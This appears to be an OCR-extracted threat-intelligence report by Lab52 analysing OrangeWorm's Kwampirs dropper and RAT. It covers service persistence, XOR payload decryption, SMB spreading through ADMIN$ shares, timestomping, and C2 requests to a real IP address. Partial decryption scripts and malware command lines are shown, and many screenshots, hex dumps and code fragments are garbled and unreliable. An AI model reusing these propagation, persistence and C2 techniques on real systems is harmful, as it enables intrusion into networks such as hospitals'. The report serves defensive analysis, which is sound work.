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The OrangeWorm group was named and described by the Symantec Company in different
blog entries [1] [2]. We would highlight from these entries that it is a group that has been
operational since 2015 and is focused on attacking the health, pharmaceutical,
technological, manufacturing and logistics sectors. The sector most affected is healthcare as
described by Symantec.

Based on this information, Lab52 has carried out an in-depth study of the Kwampirs tool
(OrangeWorm’s main tool) used by this group.

Next, the RAT (Remote Administration Tool) in DIl format and the main binary or orchestrator
of the infection will be analyzed.

Technical analysis of Kwampirs Dropper

Within its arsenal, OrangeWorm has a RAT in DLL format whose execution and lateral
movement is carried out by an executable together with the one that composes the threat
known as Kwampirs.

Regarding the executable, which we will call “Kwampirs Dropper” initially highlight its
resources, among which are two images with corrupt sections. One of which consists of the
DLL with RAT capabilities encrypted with an XOR key that in each execution extracts,
decrypts and executes:

This threat has a first execution block, in charge of decrypting all the text strings that it will

use and which are encrypted in its “.data” section with a relatively obfuscated XOR algorithm
in order to make detection and decryption difficult. After deciphering its strings, it extracts the
creation and modification dates from User32.dll and collects information about the operating
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system it is on. From this point, its logic can be divided into 4 different paths, depending on
the number of parameters, which provide different functionalities for each stage of infection
of the threat.

In order to provide the greatest clarity to this report, the order of description of the 4 possible
ways of execution of the Kwampirs dropper will follow that of an infection of this threat,
instead of the number of parameters incrementally:

Execution with a parameter

The logic that contains the section of code that is executed when it receives a single
parameter, is that of a hypothetical installation of the threat, manually, or through a dropper.

It should be noted that this section is completely dependent on having administrator
privileges, and in case of not having them, in many points of the execution jumps directly to
the end of the logic, thus ending its execution.

First, check the existence of the file “C:\Windows\infAIE11.PNF”, its size (66Bytes) and if it
has enough privileges to access it.

If it detects that it already exists (which would indicate that the computer is already infected)
or that it does not have enough privileges (which would prevent it from performing the rest of
the logic) it ends the execution. If it does not exist and has sufficient privileges, it creates the
persistence service.

Propiedades: WmiApSrvEx |E
| Triggers | Cither | Comment
General Seguridad | Recovery | Dependencies Dependents
Provides extensional information of peformance librany fram Windows -
Management Instrumentation (WMI).
Type: [Oﬁm process v] Start type: [Pu.rtu start v]

Emor contral: [Ignure T] Group:

Binary path: CA\Windows'system 32 wmiaprsrv exe

|User account:  LocalSystem

Passward: TIIIIIL [

Service DLL:  MNAA

Delayed start

This service generates it with a hardcoded name and data in the strings that it has decrypted
at the beginning of its execution, and emphasizes that it points to an executable with the
name it has at that moment, but in %System32% even though it has not been observed that
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it copies itself to that route at any time. This implies that along with being run with
administrator privileges, it also requires having been installed on that route by other means.

After creating the service, it starts it, this time without any parameter, which gives way to
another execution path within its logic.
Finally, it creates the file called ie11.PNF in which it writes 66 random bytes:

lechar _ cdecl Create_iell pnf(int al)

P

char *v1; // edi
signed int i; // esi
int w3; /S esi

1 = (char *)operator new[]({@x42u);
if ( vl )
return @;
for ( 1 =8; i ¢ 663 vI[i++] = rand() )
3 = (unsigned _ intB)CreateFileWith2tmp(@x42u, v1, (const WCHAR *)all;
operator delete[](v1});
if ( w3 )
return 8;
SetFile0ldTime(1);
return 1;
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In the previous capture, you can see how it creates a buffer of 66Bytes, which it fills with
random bytes, and passes it as a parameter to a function that we have called
“CreateFileWith2tmp” along with a string, which in this case contains
“C:\Windows\inflie11.PNF”.

The function “CreateFileWith2tmp” uses it constantly for the creation of each one of the files
related to this threat, and is in charge of generating two temporary files, in one it stores the
first Byte of the buffer it receives as the second parameter, in the second file it stores the rest
of the buffer, after which, it executes the following command to concatenate the content of
both, and store it in a new file with the name that it has received as the third parameter.

copy /y /b "C:\Users\Lucash\AppDatasLocal\Temp\IelFE4C.tmp" + "C:\Users\Lucas\AppData‘sLocal\Temp\IelFE4D.tmp" "C:\Windows\infiiell.PNF"

After generating this file, it finishes its execution, having started another instance of its own,
as a service, and without parameters.

Execution without parameters

When the threat starts without parameters, after its first string decryption block and collection
of system information, it makes a call to the Microsoft API “StartServiceCtrIDispatcherW”
responsible for initiating the logic of a Windows service, after which it ends. Therefore, if it is
not started as a service, it is not able to perform any action.
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il e
mov eax, lp5ServiceName ; Ejecucidn sin parametros
lea ecx, [espt+754h+5ervicestartTable]
push ecx ; lpServiceStartTable
mav [esp+758h+ServicestartTable. lpServiceName], eax
mov [esp+758h+ServiceStartTable.lpServiceProc], offset Main_@Params
mov [esp+758h+var_718], ebx
maw [esp+758h+var_714], ebx
call ds:StartServiceCtrlDispatcheri
jmp loc_1817432

If it is loaded as a service, after a first execution of its binary with a parameter, for example,
the API “StartServiceCtrIDispatcherW” passes the execution flow of the application to a
function of the binary.

This function consists in a first verification of the existence and capacity of access to the file
“C:\Windows\inimtmndkb32.PNF” if it finds a recent and accessible version of this one, it
continues its normal execution, in case of not finding it or having problems of access to it, it
goes through the processes in search of the copies of itself that it generates to run with 2
and 3 parameters, and in search of its modules to finish these processes and later, to
eliminate these executables, as a cleanup.

ESE LI D imLnely L a3y WILE DT ) MR W U e gy
if ( GetFileAttributesW(&FileName) == -1 )} // check "C:\Windows\infmtmndkb32.PNF" attributes
1

Stop_otherInfections();

3 = Sleep;

Sleep(le@eau);

Delete_oldInstallations(*({ DWORD *)dword 183E9B3);
¥

else

1
¥

3 = 5leep;

Regardless of whether it finds the PNF file or not, it enters an infinite “while (! 0)” loop, which
is in charge of keeping its module in DLL format running and maintaining a copy of itself,
running with two parameters, which is in charge of the lateral movement by SMB of the
threat.

if { !{unsigned _ int8)find ModuleRunning(&v7} )

(=

DropAndRunDLL (&7 ) ;
2eminSleep(l126@);
DropAndRunSMBProc( ) ;

The infinite loop, first, looks for instances of its module in DLL format in execution, in case of
not finding it, it calls a function that takes charge of extracting from its resources the image
mentioned at the beginning of the report, trimming the corrupt section, decrypting it with an
XOR key of 16Bytes, using the following algorithm:
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open(
file §

i rar
file ou [ (file_in[i+offset]) ( xorkey[i&ext

newFile = open(args[®8]+"module.dll™, "wb™)
newFile.write(b ~ay (file_out))

newFile.c

wmiamgmt
wmiapsrvcep
wmipadp
wmiadrv
wmiapvsrep
wmiaprvsEep

Once you have the module on disk, run it through Microsoft executable “rundll32.exe”
passing the following parameters:

Process
Command line: rundl32.exe "C:\Windows\system32Ywmiassn.dl” ControfTrace Embedding 4 DcomLaunch

It then calls a function whose sole purpose is to call a one-minute “Sleep” 20 times, causing
his execution to pause for a period of 20 minutes.

After 20 minutes, it makes a call to a function that if it does not find an instance of itself
running with 2 parameters, it makes a copy of its own binary with one of the following names:

'I.'-'I'I"IiI‘JSF"I.-’CE - EXE

wmipvsre.e
wmiprvse.e:
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And it executes it with two parameters using the Microsoft APl CreateProcessAsUserW,
which allows it to add the token of the current user as the creator of the process, so that the
process is executed in its session:

Process
Command line: Cr\Windows\system32wmipvsre.exe dwPlatform=7 fPlatform=0

After this, it performs a Sleep with a random value between 1 and 3 minutes, and repeats the
same execution flow, thus ensuring that both its module in DLL format and its replica running
with two parameters are kept running.

At this point, we are running the process of the main Kwampirs dropper, loaded as System
by the persistence service, an instance of rundll32, also as System generated by the process
itself without parameters, and a second instance of the executable, this time with the
credentials of the user who has logged in, thanks to the use of the “CreateProcessAsUserW”
API for its creation:

=] SWCNOSL.EXe 1545 L7 VB NI LADERVILIU LULAL  PTOCESO NOST Para 10s SErvICIO...
m wmiaprsrv.exe 2380 1,67 MB NT AUTHORITY\SYSTEM IWMI Performance Adapter Se...
[ Isass.exe 496 391 MB NT AUTHORITY\SYSTEN Local Security Authority Proce...
[m ) Ism.exe 504 231 MB NT AUTHORITY\SYSTEN Servicio de administrador des...
4[| csrss.exe 404 010 224 MB  NT AUTHORITYASYSTEN Proceso en tiempo de ejecuci...
B¥ conhost.exe 3044 117MB Lucas-PC\Lucas Host de ventana de consola
ﬂ winlogon.exe 440 283 MB NT AUTHORITY\SYSTEN Aplicacién de inicio de sesion ...
4 explorer.exe 1292 0,04 62,93 MB Lucas-PC\Lucas Explorador de Windows
'8 ProcessHacker.exe 1360 0,54 828 MB_Lucas-PC\lucas Process Hacker
rundll32.exe 2404 0,16 1,06 kB/s 3,23 MB NT AUTHORITYASYSTEM I Proceso host de Windows (Ru...
" | wmipvsre.exe 2688 1,16 MB  Lucas-PC\Lucas I WMI Performance Adapter Se...

Execution with 2 parameters

When the threat is executed with two parameters, after its first string decryption block and
collection of system information, it goes directly to a function in charge of scanning private
IPs, which it tries to access by SMB in order to check its access and infection capacity.

To do this, it first generates a Thread, which through the Microsoft API “GetTcpTable” obtains
the list of IPv4 connections of the system, from which it filters all those that are through ports
445 and 138, so it is able to isolate those related to SMB traffic, afterwards it tries to infect
these IPs directly.

To make sure it does not miss any computer to which the user has access, but which is not
found on the table, the main thread of the threat scans the entire subnet of the computer,
trying to infect all its possible IP addresses.
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When the main Thread finishes scanning the computer’s subnet. It enters a last zone of
code, which generates random private “/ 24” subnets and scans them completely, in order to
try to access subnets different from that of the infected computer, but accessible by it.

Each of the IP addresses generated by these three subnet scan approaches is passed to a
function that attempts to infect them by trying to access any of the following units via SMB:

o ADMINS

o CS\WWINDOWS
« DS\WINDOWS
o ES\WINDOWS

To do this, it makes a call to the “CreateFile” API, passing as the file path the IP address to
be infected with the following path “[IP]\ ADMIN $ \ system32 \ csrss.exe” replacing the first
element after the IP address for each of the strings of the previous list, generating the
following network traffic:

Protocol  Leng Source GeolP  Destingtion GeolP Info

SMB2 168 US us Tree Connect Request Tree: Y\\11.11.11.2%ADMINE
SMB2 138 Us Us Tree Connect Response

SMB2 362 US us Create Request File: system32\csrss.exe

SMB2 386 US us Create Response File: system32\csrss.exe

If it gets access to this file on any computer, it checks the existence of ie11.PNF, to see if it is
already infected, otherwise it creates a new one on that computer and gives the date and
time extracted from User32.dIl :

SMB2 346 US us Create Request File: inf\iell.PNF

sMB2 131 Us us Create Response, Error: STATUS _OBJECT _MWAME_NOT_FOUND
SMB2 346 Us us Create Request File: infl\iell.PNF

SMB2 386 US us Create Response File: inf\iell.PNF

SMB2 171 Us us Write Request Len:1 Off:8 File: inf\iell.PNF

SMB2 138 US us Write Response

SMB2 162 Us Us SetInfo Request FILE_INFO/SMB2_FILE ALLOCATION INFO File: infl\iell.PNF
SMB2 124 Us us SetInfo Response

SMB2 235 UsS us Write Request Len:65 Off:1 File: inf\iell.PNF

sMB2 138 US Us Write Response

SMB2 146 US us Close Request File: inf\iell.PNF

sMB2 182 U5 us Close Response

If it is able to create that file, it tries to copy itself, for which it chooses some of the hardcoded
names it has in its strings:

e wmiapsrvce.exe
e WMmiapsvrce.exe
e Wmiapsvre.exe
e wmiapvsre.exe
e wmiaprvse.exe

7/27



e Wmiapsrve.exe
e wmiapsrvcx.exe

And it generates a copy of itself with that name, on the remote computer through SMB:

'8@55 11.11.11.2 11.11.11.66 SMB2 138 US US Write Response

'8879 11.11.11.66 11.311.11.2 SMB2 162 US US Write Request Len:38912 Off:131872@ File: system32\wmiapvsre.exe

'B258 11.11.11.2 11.11.11.66 SMB2 138 US US Write Response

'8728 11.11.11.2 11.11.11.66 SMB2 138 US US Write Response

'9285 11.11.11.66 11.11.11.2 sMB2 194 Us Us SetInfo Request FILE_INFOQ/SMB2 FILE BASIC INFO File: system32\wmiapvsre.exe
'9638 11.11.11.2 11.11.11.66 SMB2 124 US US SetInfo Response

@418 11.11.11.66 11.11.11.2 SMB2 146 US US Close Request File: system32\wmiapvsre.exe

18955 11.11.11.2 11.11.11.66 SMB2 182 Us US Close Response

11184  11.11.11.66 11.11.11.2 SMB2 346 US US Create Request File: system32\wmiapvsre.exe

11539 11.11.11.2 11.11.11.66 SMB2 338 Us US Create Response File: system32\wmiapvsre.exe

11779 11.11.11.66 11.11.11.2 sSMB2 194 US US SetInfo Request FILE_INFOQ/SMB2_FILE_BASIC_INFO File: system32\wmiapvsre.exe
12888 11.11.11.2 11.11.11.66 SMB2 124 US US SetInfo Response

2384  11.11.11.66 11.11.11.2 SMB2 314 Us US Create Request File: system32\wmiapsrve.exe

12666 11.11.11.2 11.11.11.66 SMB2 131 US US Create Response, Error: STATUS_OBJECT_NAME_NOT_FOUND

12982 11.11.11.66 11.11.11.2 SMB2 346 US US Create Request File: system32\wmiapvsre.exe

13296 11.11.11.2 11.11.11.66 SMB2 338 Us US Create Response File: system32\wmiapvsre.exe

13571 11.11.11.66 11.11.11.2 SMB2 146 US US Close Request File: system32\wmiapvsre.exe

13861 11.11.11.2 11.11.11.66 SMB2 182 Us Us Close Response

4867  11.11.11.66 11.11.11.2 SMB2 222 Us Us SetInfo Request FILE_INFO/SMB2_FILE_RENAME_INFO File: system32\wmiapvsre.exe NewName:system32\wmiapsrve.exe
4522 11.11.11.2 11.11.11.66 SMB2 124 US US SetInfo Response

14833 11.11.11.66 11.11.11.2 sSMB2 162 Us US GetInfo Request FILE INFO/SMB2_FILE NETWORK_OPEN_INFO File: system32\wmiapvsre.exe
4832 11.11.11.2 11.11.11.66 SMB2 186 Us US GetInfo Response

Each time it is able to create both ie11.PNF and the Kwampirs executable, it calls a function

that, depending on the SMB scanning routine used to generate it, passes a number to it as a
parameter. If it has reached this IP from the scanning logic of the system subnet, it passes it

a 0, if it has done it through the scanning routine of random private networks, it passes a 1, if
it has reached this address to through the thread, it passes a 2.

This function generates a string like the following:
“Lucas-PC\Lucas\192.168.19.2\0\Mon Dec 03 17:38:27 2018”

The string consists of the user and domain with which the other system has been infected,
the IP address of the infected victim computer, the number that it has received as a
parameter and that identifies the SMB scanning algorithm that detected the victim, and the
date and time of infection. This string encrypts it with an XOR algorithm using a 203-byte
hardcoded key and adds it to a temporary file called “Lb978YTy.tmp”

Finally, it creates a new copy of itself in System32 of the local computer, and executes it this
time with 3 parameters, to which it passes, firstly the IP address of the computer it has just
infected, and then two more parameters, similar to those it has received in its execution.

Execution with 3 parameters

This last branch of execution of the Kwampirs dropper, is in charge of generating persistence
in remote computers infected by its replica executed with two parameters, and is also in
charge of the execution of this persistence, which corresponds to the service called
“WmiApSrvEX”.

To do this, it first extracts the last character from its second and third parameters, and
passes it from “char” to “int”. The second parameter, can be a value between 0 and 3, (if it is
something different, its execution ends). This value corresponds to the remote directory to
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which it has been able to access its replica of two parameters, thus obtaining the accessible
remote path:

e 0 =ADMINS

e 1=CS\WINDOWS
e 2=DS\WINDOWS
e 3 =ES\WINDOWS

The third parameter, can be a number between 0 and 6, and corresponds to the name that
has put the copy of itself in the remote computer, as follows:

e 0 = wmiapsrvce.exe
e 1 =wmiapsvrce.exe
e 2 = wmiapsvre.exe
e 3 = wmiapvsre.exe
4 = wmiaprvse.exe
e 5= wmiapsrve.exe
e 6 = wmiapsrvcx.exe

With this, and the address of the remote computer that has as its first parameter, tries to
create and start the service “WmiApSrvEx” on the remote computer, generating traffic like the
following:

SWOCTL 258 Us  USs  OpenSCManagerW request, 11.11.11.2
SWCCTL 218 US  US  OpenSCManagerkd response

SVCCTL 262 US  US  OpenServicel request

SVWCCTL 218 US  US  OpenServiceW response, Unknown error @x@8ee88424
SVCCTL 498 US  US  Unknown cperation 45 request

5MB2 131 Us Us TIoctl Response, Error: STATUS_PENDING
SWCCTL 222 US  US  Unknown operation 45 response

SWCCTL 456 Us  US  ChangeServiceConfig2W request

S5MB2 131 Us US Toctl Response, Error: STATUS _PENDING
SVCCTL 198 US US  ChangeServiceConfTig2W response

SVCCTL 278 US  US  OpenServicel request

SVCCTL 218 US US  OpenServicel response

SVCCTL 222 Us US  QueryServiceStatus request

SVCCTL 226 Us US  QueryServiceStatus response

SVCCTL 226 Us US  QueryServiceConfighl request

SVCCTL 238 Us US  QueryServiceConfigW response

SVCCTL 226 US US  QueryServiceConfighl request

SVCCTL 486 US US  QueryServiceConfigWl response

SVCCTL 278 US  US  ChangeServiceConfigh request

sMB2 131 Us  Us Toctl Response, Error: STATUS PENDING
SVCCTL 282 Us Us  ChangeServiceConfigW response

SVCCTL 238 Us  US StartServicelW request

sMB2 131 Us  Us Ioctl Response, Error: STATUS_ PENDING
SVCCTL 198 Us  Us StartServicel response
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Depending on whether it is capable of generating and executing the service or not, it makes
a call to the registration function in the “Lb978YTy.tmp” log of infected remote computers, but
this time, the parameter can be a 3 if everything went well, or a 4 if it has not been able to
generate or initiate persistence. Thus leaving in the “.tmp” file registry a record of the
computers to which he has had access (logs with 0.1 or 2) and if it has been able to infect
them or not with (3 or 4) logs.

If it is not able to infect the computer, it tries to eliminate the remote ie11.PNF file, obtaining
in this way for it to try again to infect said computer in a future execution.

Technical analysis of Kwampirs RAT

OrangeWorm within its arsenal has a RAT in DIl format (from now on Kwampirs) that is
executed by “Kwampirs Dropper”. This device has the following static characteristics:

S rabin2 -E 07f5fa96d31ed75edba8699f53a75502ade214b34469163011ced5b94e393f32
[Exports]

MNum Paddr Vaddr Bind Type Size Name

000 0x00003380 0x10003f80 GLOBAL FUNC 0 wmiax.dll_ControlTrace

In all the samples analyzed the ControlTrace () function is exported. This has not changed
since the Symantec report. Kwampirs RAT depending on the number of parameters will have
a different behavior. The possibilities implemented on this occasion are two, when three
parameters and when four parameters are passed to the function.

S rundll32.exe kwampirs.dll,ControlTrace —Embedding —k DcomLaunch

5 rundll32.exe kwampirs.dll,ControlTrace —=Embedding =k DecomlLaunch Xpfrd5

The analysis will describe the behavior of Kwampirs RAT in each of the two existing
execution branches:

Execution with three parameters

The actions that Kwampirs RAT performs once it starts with three parameters are:
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. The first thing it does is to decipher the compromise indicators (I0OCs from now on).
Once deciphered we will see them reflected in memory:

I rundi32.exe (2580) (TxbA900D - DxbO0000)

oDaoDLsE 38 O
00000£bE &5
opao0fde 0O O
QO000EER Ge
00001018 &d O
00001038 fa

) 2 00 6B 00 &L 00 6d DO Badeuw§u8.0e3aTuula3ula/hopam,
) ab &b ab ab &b ab ab &b &./.i.0.d.€.K...p-h.Pocacccanns

00 mo o

cCoOoDoRE DO

EX:

i
"
-
=
[

000010598 &e O

000010bE 2

[ER=N=
o omo oo b

N=u

0001158 75 O
000011bE fe

ODO011f
0001218 00 O
00001238

oD DD DD DD DO
ERE R

Do o DD Do
o000 o00O0o

R ===

0001578
00001598
00001508 ab

[EE=-R-R-N-u ]

=N

% Y T T S P
N0 BB B8,

0 61 00 €5 00 &e 0O
) 65 00 2& 00 61 00 7
0 fd aB 53 €4 83 df D
) 73 00 €5 00 72 00 7
0 §5 00 e 00 2e OO

reerenara@enns
KB RSBV,
Jom.a.im...p.

COF0E00ODO0 00 0moD D00 C

e
ool DD

In the image above you can see the memory segment with all the URIs that the
malware will try in order to communicate. To decipher the I0Cs the malware uses the
following logic:
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2. The next step is to obtain the MACTimes of the user32.dll DIl. This group modifies the
times of certain files that it creates on the disk and fixes the times of the user32.dll DlI,
as already mentioned “Kwampirs Dropper”. This is a measure to hinder the subsequent
forensic analysis. In the example below we can see the file 3.tmp (random name) on
the left, created by Kwampirs to store the identifiers of the handlers of the Named
Pipes that it has created, and on the right the user32.dll dll of the system. If we look
carefully, we see how the modification time coincides exactly:

@\J’ b Egupe b Do sl (D] b Wisdist » Symesdl &
N

A DMBECRATS !
3 | PSP Dabugl ogfilte a1 Jrremt t E r Favorbay

| FOSTIFDaugLogFie b 1 vl X B Descargs ssborip.di
& MpCradRunleg 1 o de b M Escrbana % mstmondll

Organicar = vt Cpenwith CFF Explaver = lussvar carpeie

| TEIFTBAme | bive TH K ) Dommarks 5| MerAccoumtC omtrotbettinegs. il
A TR 2B mp 1 1 ™ [ - Irdegens; & LherfccountControfattings me

3. In the mtmndkb32.PNF file, a generated value is saved from the system date at the
time of execution. In each execution (Kwampirs Dropper as Kwampirs RAT) it checks
the exact date the file was created and if not enough time has passed since the file was
created, it does not run again. This is already described by Symantec in its report and
the “current” samples have not changed their behavior.
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4. In the event that Kwampirs RAT is downloaded, a module interacts with the
mkdiawb3.PNF file before entering the network communication execution flow. This
file stores hashes in md5 of the modules. An example of the file with the hash of the
encrypted and unencrypted module can be seen below:

i) File Edit Search View Analysis Tools Window Help
el B 8 d~ ++16  [z]| Windows (aNSD || hex  [+]
5] mkdiawb3.PNF

] hash_module_kwampirs_mds.bﬂ

Offset(h) 00 01 02 03 04 05 06 07 08 09 OA 0B OC OD OE OF Decoded text
00000000 ||39 9D AB EF 44 C28 7B €3 F1 DO E6 Fé CB SE SC AO E.«iDE{fﬁBau‘:‘.E“\

] File Edit Search View Analysis Tools Window Help
vl B 8 dvicn16  [v]| Windows (ANSD || hex ]

| | mkdiawbg_pnpl 28 hash_module_kwampirs_md5.txt |

Offzset(h) 00 01 02 03 04 05 06 07 08 09 OA OBwOC OD QOE OF Decoded text

00000000 |C7 63 SE B3 73 SC DA EF D9 54 OB 49 4F 2E 79 E1| Gc~*seUilTLiIO.ya

This group calculates the hash on the file (module) after encrypting it and coding it in
baseb64.

If we do a hash to the downloaded module we will see how it matches with what is
stored:

S mdSsum modulo-cifrado.bin
c7635eb3739%cdaefd9540b494f2e7%9e1 modulo-cifrado.bin

5. Kwampirs RAT creates different files with extension “ TMP” in the temporary directory
of the user and in the case of being executed with a user with administrator privileges
renames the files and places it in the directory C:\windows\inf with extension PNF (of
which we have spoken previously). To copy them, it uses the cmd.exe command as
shown below in an execution:

[ [ T Peecoccei T Pasadocade i ] Pemsdocate [l rmeorder 0 | ([l sesigonn | & s segrastason R Trest
-l] = _WCSdupgciy; | oeorat He S
- urE

u E = -
AF aABEFEN:L ol exe fr copy Ay Sb VUErGEsersyiLucasiyyappBatat ilecal Vi Tenp L iEeSHEbE _Taph= + VSEzV\llsersiilecas\ vipphatahiLocal Vi Temp \ReSEI0E . taph' 502y Wi ndows\ EnFh ot mndicdad 2 PRV
H —

PEC.FEQIStFAtiDE_TryLEw]l = -2}
returs B;
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6. After moving the files, it launches a thread that contacts the command and control
server (C2 from now on). This thread invokes the StartProcess () function. This thread
receives modules from C2 with the hash of the signed module and checks it before
executing them. During this thread, a temporary file is generated where information of
the computer is stored and then used in the requests. This file is called digirps.PNF.
Once the digirps.PNF file is decrypted you can see how it stores computer information
such as the MAC Address:

4] File Edit Search View Analysis Tools Window Help
S v B L . 16 =] | Windows (aNsD) || hex v

3| digirps.be

Offsec(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text
27 14 aDlsc 4C 70 F4 81 On ve'e.\nL=p6.03
£
BN Administrador: C:\Windows\System32\cmd.exe =-|-= @

Ndaptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la conexidn. z
ripeidn . . - - 4 4 4 - & = = = = = « : Adaptador de escritorio Intel(R>
PRO-18 NI )
Direccién fisica. . . . . . . . . . . . . = BB-80-27-1C-14-AD
DHCF habilitado . . . . . . . =« =« « = « = Se;mo
utomatica habilitada . . . = si
:¢idn IPve local. . . : FeBB::11F9:d32e:99d2:144cx11<{Preferido’

: 11.11.11.66<¢Preferidod

= 255.255.255.8

H . .11 .1

: 235485351

: AP-P1-PB-01-1F-BBE-64-F9-08-80-27

DNS. . = = « = = = = = = « » « = 11.11.11.1
NetBIOS s e TCP/IP. . . . . =« « « « « . ¢ habilitado

Adaptador de tinel isatap.{C9437828-F974-4E30-97F2-42D81047793B>:
Estado de los medi « « = medios desconectados

fijo DNS especifico para la conexion. -
gscripcion . . . . . . . « 2 « o - « . . = Adaptador ISATAP de Microsoft

xorkey = [B8x53 ,

file in

file out = []
pen(*./digirps.PNF", "rb")

flie in f.read()

i range(0,len(file in}):
file out.append( ord(file in[i]) ~ ( xorkey[it@xf

newFile - open("digirps.txt", "wb")

newFile.write(bytearray(file_out))
newrFile.close()

Again to decrypt the file we use the same algorithm but with a different key and the
MAC of the computer where the sample was executed is indeed obtained. The analysis
carried out has not shown that a first interaction with this file adds more useful
information than the MAC Address.
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As already mentioned, network communications to C2 are performed in this function.
Until it receives a “good” response, Kwampirs RAT sends the following type of packets
(in this case you can see how a C2 sends a successful response):

GET /home.php?q=KTTgP280FCM2Ki5rgQkyrZhqdIplDEYRoIqRwKLERNL jQoMdpeBskeB+ kDT /A+cjjOmkecdRIy00ENLIDYSglwNKM= HTTP/1.1
User-Agent: Mozilla/s5.8 (Windows NT 6.1; WOWG4; rvi18.8) Gecko/20100101 Firefox/18.8

Host: 77.81.104.48

Cache-Control: no-cache

HTTP/1.1 288 OK

Date: Thu, 17 Jan 2819 18:25:48 GMT
server: Apache

X-Powered-By: PHP/5.3.3
Content-Length: 36

Connection: close

Content-Type: text/html; charset=UTF-8

911 £ 7635EB3730CDAEFD9548B494F2ETIEL

We see how the C2 has returned a code {XXX}: hash_md5_modulo. After receiving
the module hash, the C2 sends it to the next GET:

GET /home. phpig=| ITBaP?GoPDIZKlErI;QkyTthu]plDGmlutu'(LF_lys:u:l.qusm:sngﬁamrHMBmlns-FummmE HTTP/1.1
User-Agent: an.‘lll.!.r‘s @ (Windows NT 6.1, WOWS4; rv:18.8) Gecko, /29188181 Firefox/18.8

Wost: T7.81.184.

Cache-Contral: no- :ill:h-e

HTTP/1.1 288 0K

Date: Thu, 17 Jan 2819 18:25:48 GHMT
Server: Apache

X-Powered-By: PHR/5.3.3

Connection: close

Transfer -Encuding: chunked
Content-Type: text/himl; charset=UTF-8

HK?ETQ\E!:!I}&JUBESHHQH:mgmﬁm!rfﬂimmmuﬂajzsm!m]l.lﬁrmZZfaZlB.zHu.Fdrlﬂom]ntcuzjmmmﬂsﬂcmlmﬂpl:du'L,‘!Dltl.lrj'BL:zauruhll.‘Tl
+9b0Re 1 24ASFk X CwozdwfulafSHI IO 2 MKB2F | /4 3mRbSdeal.c]l+MR4r 45806 JeNEDw, d4 J0aCx VB Hy TeSBin++hgEQaidetvgl s 283nZCHWHNT K/ +534PhhXuRgrHl /ZpT {5y qzvnl
HYKyZcMREAUMW] DNZr 11RVF 11498038 B4Wea L41NWC: lmﬂmrlqmmKmnnﬁrasmlmv?Exlllm:slnmf 983 ol Ladr hSEDa/vZPaHkd0JE+/ 30 TW1B81 L 3Fa+HKE2 1 +nKLE+0oGx
MﬁTmlmkm!fMﬂshmimﬂijﬂF(!Mﬂ'ﬂlil gpeTmHbl]C2¥51P3HLBACsyyigSTVoz e /B2 ConXDEevF JHImw+bdokL ] sWhC 7T XRATeTApARLZITFTheco0CY rHexts 1nZyY"
TULB5I9FCH{E9vBe11t 1De2wI TELHA0GLPKRED JeFnnvie? § LDEUG JaBknaKPTRye r tgavazl JLZF1r uuabvgl tWx L sDGK | Ysps+02ka+L G2AKELANYMWSEUOBe1p ] ¢/ FQFCxg NG/ TQaxPTwGo05300;
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+ytnKTbkr255Yy2Rda60Lh 74X TV17bNAGL02LKP JkpKPhEsNSh 12 {WDMOdFDgXt aY3PxUB)sa0 T dOMP3AGC0X DS 30ud T 3qsTAEMT £ p+S34PhhXuRgrHA/ ZpT § 152 fpxmKolE BHAKZZ +HL kUL GRBRGT:
ws:.-gw1sxTEz:sa1mn?w.emoua:cummtwm.fpsz_]nrnu:ePrzquumnlzPmusmmoREEslm;MsmnrqsmmrJyuzpqsrmtmugyaoramzmuwmmjw
+fEWuB(g3JaF: mmmsawnwnmnhmmjm-qaﬂzummlfmmuzmmwwl 3“""3 uw-namnmwzsmnwujmumuvm
uCYrtviies LG JwroMuHkDEHEIHRKGE + Syyh SMvZGnn ImS kuwCEBENYOT swiF /Wit iU/ wa s EulwgAc +Eys. HKDQEb InDvieFUYe auhpn.rnpaum milloX0zn TKz0DSpYsciwLhXlxmr E9IVVED LBe:
'5cHM5Emrmnnq\"lmz\l‘l:Qﬂﬁtstmz]'DqFZhw-nTDBBBxHIIuI:EISEREIB5h|.|lﬁuBymchcDKhTfﬂkstMDZrzuzmngyanstﬂqr!LMthwmnvamujﬂ?Em'l‘m
ZLAZSEHTUFMEOSodVIWnF | QCTE + kWBPOQNKCAP 10 DI Sk cMEVEDT+01c JYRxaNA U1 147 iWIGaEL OWSZNXPZNRS | AZAIpMx/ CUTCHLY L] A ULeTHY IOt RCWDET | BDCWA 1N a0/ BNS2Mn WIS MMCwaN2|
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In this case what it has returned is a module (DIl as well) that it injects in memory and
launches as a new thread of execution (these modules are not dumped to disk). In this
case, the module allows executing commands in the operating system. In a first
iteration the module executes commands to gather information:

HaT /oL 2 ETIRA 8

Contuet+ n-p- applications-we- Tarm-ar | encoded

Corraction: Cloas
Cornen-geagen: Blidi
sanasoy It sakgdiu b WTHL P m Tl L F | IplaleTs TAERL v Thu P 705 wePo 1500 L Tyt e IR 3 5. darTr PR v Bt Bt U] e TRALEA ¢ Jgh] DTV G 1§ JbinbicHeAF B
bt e b e iim,m,u’ ““"" F.f" sty ity ,,..;_;n‘ﬂ.,.,ur;su-.:ws»pénﬁm”"' ] T A ]
=1t R TR CADnRen] g Iwdley "im"’ N TrFLa rariy, r -l“hlf!F Lt PNJFIWW?‘ 1P s l‘ll&lo mmnnmnm-«wauniw
lFsm'n;ﬂm el Iﬁ::l'g' il ;g]“:g M;Eil;;:#m ?aua L, ﬁ'\ !5 W‘:%‘ﬂ ,:;;I:z;el bl T mechlgii T TiFLren T flﬂl‘(ﬂﬂz Aukl Ik
win u +akpes. i o u rebunir i g smigan 8 u I
1T bl uﬁum"‘" “h I'T' R = :E*L i EA BT Jp A T x‘ql-‘kWEt\wIJ,‘l‘ cfe‘-:l.t«:-r o °:=:J'-'?|«]xumw E
[LIES m-ﬁ- wmvmvuul!mmlw 1 -waqrﬂl | g?lilo mu W?umoﬂgll im0 AP -\mauue:-zw-ﬁ U recd & ¥ R TLIL u!- ﬁmlgl LR ElBE AL ERG
uf T e bkl Iq 7 iEERuLR B LB Ly rEL Rk TvraLisle mmmmm moﬂlﬂ:lr -\-:Ev\-uu f PesliTLDEeH 5 1 20s 1E
-}'H'l“?o-rlrdh fasalyleli Bl {14 Al I.wiu:hr]p-czl's FaN e }t ll mw 1! g 1B Bap) | 04c  Fn el bl aPes L= Blgpdad vl bel ] r i
